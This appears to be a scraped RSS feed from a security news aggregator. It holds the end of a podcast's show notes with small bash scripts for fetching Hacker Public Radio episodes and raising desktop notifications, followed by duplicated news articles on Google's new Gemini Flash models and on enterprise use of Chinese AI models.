if (( $PodCount > $DownloadLimit )); then

echo "$podttimestamp Too many podcasts for $PodName : $PodCount." >> $tmppodserrors

else

# Download the podcasts listed in the temp file.

DownloadPodcasts

fi

fi

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

# Clean up temp files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# ======================================================================

END OF FIRST SHELL SCRIPT

START OF SECOND SHELL SCRIPT

podfetchnotify

#!/bin/bash

# Part of Podfetch.

# This monitors for new files appearing in the new podcasts directory.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Path where new podcasts are to be stored.

podfilepath="/home/me/Music/Podcasts/HPR"

# ======================================================================

# Wait for the podcast directory to be modified.

while true; do

# Check for new files.

errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )

result=$?

# Check if exited due to new podcast, or if some error.

if (( result == 0 )); then

# Success, signal new podcast.

notify-send "New HPR podcast available."

else

# Check to make sure the directory exists.

# If it doesn't exist, there isn't much we can do to fix it.

if [ ! -e "$poderrorspath" ]; then

notify-send "Podfetch error: Podcast directory not found $poderrorspath"

exit 1

fi

fi

# Wait a bit so that multiple new files don't keep re-triggering the notification.

sleep 60

done

# ======================================================================

END OF SECOND SHELL SCRIPT

START OF THIRD SHELL SCRIPT

podfetcherror

Created Tuesday 23 June 2026

#!/bin/bash

# Part of Podfetch.

# This monitors the Podfetch error reporting file for new errors.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Where the Podfetch program error report file is located.

poderrorspath="/home/me/Apps/hprfetch"

# The full path and file name.

poderrorsreport="$poderrorspath/poderrorsreport.txt"

# ======================================================================

# Error counter.

errcount=0

# Wait for the poderrorsreport file to be modified.

while true; do

errmsg=$( inotifywait -e modify $poderrorsreport )

result=$?

# Wait a bit to ensure that writing to the file is complete.

sleep 3

if (( result == 0 )); then

# Get the latest error message.

# Cut out the date stamp at the start of the line and take the rest.

poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )

notify-send "Podfetch error: $poderr"

# Reset the error counter every time there is a successful result.

errcount=0

else

# Check to make sure the directory exists.

if [ ! -e "$poderrorspath" ]; then

notify-send "Podfetch error: error report path not found $poderrorspath"

exit 1

fi

# Check if the file we are trying to monitor exists.

# If not, then create an empty file for error signaling.

if [ ! -e "$poderrorsreport" ]; then

echo > $poderrorsreport

fi

# Increment the error counter.

count=$(( count + 1 ))

if (( count > 3 )); then

notify-send "Podfetch error: Excessive unknown errors, exiting."

exit 1

fi

fi

done

# ======================================================================

Provide feedback on this episode.

]]> <![CDATA[How to manage Local File System autonomously with Microsoft Scout]]> https://tsecurity.de/de/3684933/windows-tipps/how-to-manage-local-file-system-autonomously-with-microsoft-scout/ https://tsecurity.de/de/3684933/windows-tipps/how-to-manage-local-file-system-autonomously-with-microsoft-scout/ Wed, 22 Jul 2026 00:18:04 +0200 🪟 Windows Tipps tsecurity.de Managing your Local File System Autonomously with Microsoft ScoutManaging files across multiple projects can quickly become repetitive. Creating folders, locating files, updating configuration files, and cleaning up outdated content often takes more time than expected. Instead of manually handling these tasks, Microsoft Scout can automate much of the work by understanding your requests and interacting directly with your local workspace. In this post, […]

This article How to manage Local File System autonomously with Microsoft Scout first appeared on TheWindowsClub.com.

]]> <![CDATA[USN-8580-2: AccountsService vulnerabilities]]> https://tsecurity.de/de/3684902/unix-server/usn-8580-2-accountsservice-vulnerabilities/ https://tsecurity.de/de/3684902/unix-server/usn-8580-2-accountsservice-vulnerabilities/ Tue, 21 Jul 2026 23:47:38 +0200 🐧 Unix Server tsecurity.de <![CDATA[Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]> https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/ https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/ Tue, 21 Jul 2026 23:33:56 +0200 📰 IT Nachrichten tsecurity.de Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber.

The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out.

Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck.

VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)

Model

Input ($/1M)

Output ($/1M)

Total ($/1M)

Source

MiMo-V2.5 Flash

$0.10

$0.30

$0.40

Xiaomi

deepseek-v4-flash

$0.14

$0.28

$0.42

DeepSeek

deepseek-v4-pro

$0.435

$0.87

$1.305

DeepSeek

MiniMax-M3

$0.30

$1.20

$1.50

MiniMax

LongCat-2.0 — limited-time promo

$0.30

$1.20

$1.50

LongCat

Gemini 3.1 Flash-Lite

$0.25

$1.50

$1.75

Google

Qwen3.7-Plus

$0.40

$1.60

$2.00

Alibaba Cloud

MiMo-V2.5

$0.40

$2.00

$2.40

Xiaomi

Gemini 3.5 Flash-Lite

$0.30

$2.50

$2.80

Google

LongCat-2.0 — standard

$0.75

$2.95

$3.70

LongCat

MiMo-V2.5 Pro (≤256K)

$1.00

$3.00

$4.00

Xiaomi

GLM-5.2

$1.40

$4.40

$5.80

Z.ai

GPT-5.6 Luna

$1.00

$6.00

$7.00

OpenAI

Grok 4.5

$2.00

$6.00

$8.00

xAI

MiMo-V2.5 Pro (>256K)

$2.00

$6.00

$8.00

Xiaomi

Gemini 3.6 Flash

$1.50

$7.50

$9.00

Google

Qwen3.7-Max

$2.50

$7.50

$10.00

Alibaba Cloud

Gemini 3.5 Flash

$1.50

$9.00

$10.50

Google

Gemini 3.1 Pro Preview (≤200K)

$2.00

$12.00

$14.00

Google

GPT-5.6 Terra

$2.50

$15.00

$17.50

OpenAI

GPT-5.4

$2.50

$15.00

$17.50

OpenAI

Kimi K3

$3.00

$15.00

$18.00

Moonshot AI

Gemini 3.1 Pro Preview (>200K)

$4.00

$18.00

$22.00

Google

Claude Opus 4.8

$5.00

$25.00

$30.00

Anthropic

GPT-5.5

$5.00

$30.00

$35.00

OpenAI

GPT-5.5 Instant (chat-latest)

$5.00

$30.00

$35.00

OpenAI

Sakana Fugu Ultra (≤272K)

$5.00

$30.00

$35.00

Sakana AI

GPT-5.6 Sol

$5.00

$30.00

$35.00

OpenAI

Claude Fable 5 / Claude Mythos 5

$10.00

$50.00

$60.00

Anthropic

No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs.

While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate).

Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year.

As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0.

One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's.

Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready."

Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods.

If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.

Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks

Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name.

In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%.

This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle.

When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.

While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."

The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.

Respectable benchmark performance at low cost

The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5.

It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%.

The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.

To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses.

The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.

Models for low-cost coding, agentic, and cybersecurity use cases — respectively

Google divided its new offerings into three distinct products tailored for different operational needs.

Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting.

The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.

Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series.

As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.

Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads.

Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%.

The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.

The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent.

In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.

Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.

Commercial licensing only

The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.

An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash.

This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.

The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6.

In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.

Looking ahead

Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.

Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced.

Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

]]> <![CDATA[Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]> https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/ https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/ Tue, 21 Jul 2026 22:56:46 +0200 📰 IT Nachrichten tsecurity.de Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber.

The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out.

Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck.

VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)

Model

Input ($/1M)

Output ($/1M)

Total ($/1M)

Source

MiMo-V2.5 Flash

$0.10

$0.30

$0.40

Xiaomi

deepseek-v4-flash

$0.14

$0.28

$0.42

DeepSeek

deepseek-v4-pro

$0.435

$0.87

$1.305

DeepSeek

MiniMax-M3

$0.30

$1.20

$1.50

MiniMax

LongCat-2.0 — limited-time promo

$0.30

$1.20

$1.50

LongCat

Gemini 3.1 Flash-Lite

$0.25

$1.50

$1.75

Google

Qwen3.7-Plus

$0.40

$1.60

$2.00

Alibaba Cloud

MiMo-V2.5

$0.40

$2.00

$2.40

Xiaomi

Gemini 3.5 Flash-Lite

$0.30

$2.50

$2.80

Google

LongCat-2.0 — standard

$0.75

$2.95

$3.70

LongCat

MiMo-V2.5 Pro (≤256K)

$1.00

$3.00

$4.00

Xiaomi

GLM-5.2

$1.40

$4.40

$5.80

Z.ai

GPT-5.6 Luna

$1.00

$6.00

$7.00

OpenAI

Grok 4.5

$2.00

$6.00

$8.00

xAI

MiMo-V2.5 Pro (>256K)

$2.00

$6.00

$8.00

Xiaomi

Gemini 3.6 Flash

$1.50

$7.50

$9.00

Google

Qwen3.7-Max

$2.50

$7.50

$10.00

Alibaba Cloud

Gemini 3.5 Flash

$1.50

$9.00

$10.50

Google

Gemini 3.1 Pro Preview (≤200K)

$2.00

$12.00

$14.00

Google

GPT-5.6 Terra

$2.50

$15.00

$17.50

OpenAI

GPT-5.4

$2.50

$15.00

$17.50

OpenAI

Kimi K3

$3.00

$15.00

$18.00

Moonshot AI

Gemini 3.1 Pro Preview (>200K)

$4.00

$18.00

$22.00

Google

Claude Opus 4.8

$5.00

$25.00

$30.00

Anthropic

GPT-5.5

$5.00

$30.00

$35.00

OpenAI

GPT-5.5 Instant (chat-latest)

$5.00

$30.00

$35.00

OpenAI

Sakana Fugu Ultra (≤272K)

$5.00

$30.00

$35.00

Sakana AI

GPT-5.6 Sol

$5.00

$30.00

$35.00

OpenAI

Claude Fable 5 / Claude Mythos 5

$10.00

$50.00

$60.00

Anthropic

No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs.

While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate).

Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year.

As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0.

One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's.

Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready."

Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods.

If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.

Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks

Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name.

In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%.

This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle.

When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.

While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."

The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.

Respectable benchmark performance at low cost

The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5.

It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%.

The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.

To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses.

The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.

Models for low-cost coding, agentic, and cybersecurity use cases — respectively

Google divided its new offerings into three distinct products tailored for different operational needs.

Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.

Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series.

As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.

Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads.

Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%.

The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.

The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent.

In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark.

Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.

Commercial licensing only

The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.

An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash.

This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.

The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6.

In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.

Looking ahead

Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy,

the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.

Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced.

Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

]]> <![CDATA[The latest Chinese AI models may indeed work for enterprises, but only in a handful of specific applications]]> https://tsecurity.de/de/3684721/ai-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/ https://tsecurity.de/de/3684721/ai-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/ Tue, 21 Jul 2026 21:24:16 +0200 🔧 AI Nachrichten tsecurity.de

Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been nervous about relying on Chinese AI models. 

But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model Qwen3.8 Max and Moonshot’s 2.8-trillion-parameter model Kimi K3, are promising even more powerful performance, those IT executives are being forced to again ask if these models are worth using, even in a limited fashion.

Former Walmart head of risk Steven Eric Fisher, now an independent cybersecurity and risk advisor, thinks they should at least take another look.

“Enterprises should take these models seriously, but neither adopt nor reject them solely because they are Chinese,” he said. “They should be assessed like any other critical technology dependency: jurisdiction, ownership, training and software provenance, licensing, data handling, hosting, security, reliability, and the ability to independently test their behavior. Geopolitical exposure is a legitimate risk factor, but it should be incorporated into technical and supply-chain diligence rather than used as a substitute for it.”

Choose applications with care

He added, “Chinese models may be especially valuable for coding, multilingual processing, high-volume document analysis, research, synthetic-data generation, and privately operated security or forensic workflows, but they should be subject to task-specific testing rather than broad benchmark claims.”

Shashi Bellamkonda, principal research director at Info-Tech Research Group, agreed that the Chinese models can work well if they are only used in carefully chosen applications. 

“Although Moonshot’s K3 still trails Claude’s Fable 5 and GPT 5.6 Sol on performance and user experience, good companies that have governance and prompt guardrails will not face the instability and improvisation of [the Chinese] models,” he said. “These models will win in usage. US frontier models are leading as the best models, but Chinese models will be sufficient for high-volume, low-drama tasks that cost less for non-critical transactions.”

On the flipside, Bellamkonda suggested a variety of areas where enterprises should avoid Chinese AI models, including “customer-facing work without a human in the loop, regulated or sensitive data, and anything where a hallucinated answer creates legal or safety exposure. That is where the reliability gap and the political-radioactivity concern both bite, and where the closed American models still earn their premium.”

Bellamkonda said he didn’t see the differences in data reliability, mostly involving hallucination rates, as meaningful for enterprise AI strategy decisions.

“Every open-weight model in this class can get facts wrong or make things up. That is fixable with the right setup, so it is not a reason to avoid these models,” he said. “For high-volume tasks with clear limits, you feed the model your own trusted documents to answer from, and you keep a person checking the output. That combination is safe for production. The model on its own is not.”

Too early for enterprises to consider

However, not everyone agrees that the latest Chinese models have earned their place as enterprise AI decision options. 

Cybersecurity consultant Brian Levine, executive director of FormerGov, focused on Chinese technology concerns when he worked for the US Justice Department as its representative in the US law enforcement Joint Liaison Group (JLG) with China. 

“It is way too early for US enterprises to seriously consider these models,” he said. “Until proven otherwise, enterprises should assume that if they use these models, they may be granting China complete access to everything they do through the models, and potentially access to their networks and employees more broadly. At this point, any pros of using such models are strongly outweighed by the potential security, confidentiality, and reliability concerns.”

Tom Findling, CEO of Conifers.ai, was equally emphatic that enterprise CIOs need to steer clear of these newer Chinese models. 

“Using them inhouse? Absolutely not. You simply don’t know what is planted inside of it and you don’t know what training data is put into them,” Findling said. 

Mike Wilkes, enterprise CISO at Aikido Security, added that the very attractive pricing for these Chinese models may be appealing, but suggested that, despite the low cost, they’re ultimately too risky.

“Enterprises should take these models seriously, but not romantically. Parameter count is horsepower measured in a showroom, not braking distance in the rain,” he said. “The real tests are reliability on your data, the cost of a wrong answer, and whether the model behaves predictably under pressure.”

He noted that the benchmarks on the latest open-weights models are impressive, and very close to those of the frontier lab models, which makes the cost ”incredibly seductive, especially when a team does not want to risk their data being used to train those frontier models.”

But the Chinese models can still work in specific circumstances. “The strongest value will be in bounded, reversible and inspectable work: coding inside a sandbox, multilingual translation, document triage, data extraction and other high-volume tasks where outputs can be verified,” he said. “Cheap intelligence is valuable, but only when it is not mistaken for trustworthy judgment.”

Wilkes added that the regulatory issues surrounding Chinese models can be especially problematic. Texas, for example, has banned their usage.  

A rational choice for some workloads

However, Yuri Goryunov, CIO of consulting firm Acceligence, argued that CIOs should seriously consider these models. 

“Counterintuitively, the biggest benefit of Kimi and models like it is the lack of guardrails,” Goryunov said. “Think of it as stick shift cars in the era of automatics. If you want ease and comfort, stay with the frontiers because they have cruise control, shift the gears for you and they decide when. If you want performance and control, expand your horizons. But a stick shift assumes you know how to drive one: you bring your own governance, your own evals, your own safety layer. That’s a cost and specialized talent, which is super rare, and for the right organization it’s also the whole point.”

Goryunov’s bottom line: “For internal, high-volume, well-harnessed workloads, [the Chinese models] have moved from ‘watch list’ to ‘rational choice.’”

This article originally appeared on CIO.com.

]]> <![CDATA[The latest Chinese AI models may indeed work for enterprises, but only in a handful of specific applications]]> https://tsecurity.de/de/3684669/it-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/ https://tsecurity.de/de/3684669/it-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/ Tue, 21 Jul 2026 21:03:34 +0200 📰 IT Nachrichten tsecurity.de

Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been nervous about relying on Chinese AI models. 

But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model Qwen3.8 Max and Moonshot’s 2.8-trillion-parameter model Kimi K3, are promising even more powerful performance, those IT executives are being forced to again ask if these models are worth using, even in a limited fashion.

Former Walmart head of risk Steven Eric Fisher, now an independent cybersecurity and risk advisor, thinks they should at least take another look.

“Enterprises should take these models seriously, but neither adopt nor reject them solely because they are Chinese,” he said. “They should be assessed like any other critical technology dependency: jurisdiction, ownership, training and software provenance, licensing, data handling, hosting, security, reliability, and the ability to independently test their behavior. Geopolitical exposure is a legitimate risk factor, but it should be incorporated into technical and supply-chain diligence rather than used as a substitute for it.”

Choose applications with care

He added, “Chinese models may be especially valuable for coding, multilingual processing, high-volume document analysis, research, synthetic-data generation, and privately operated security or forensic workflows, but they should be subject to task-specific testing rather than broad benchmark claims.”

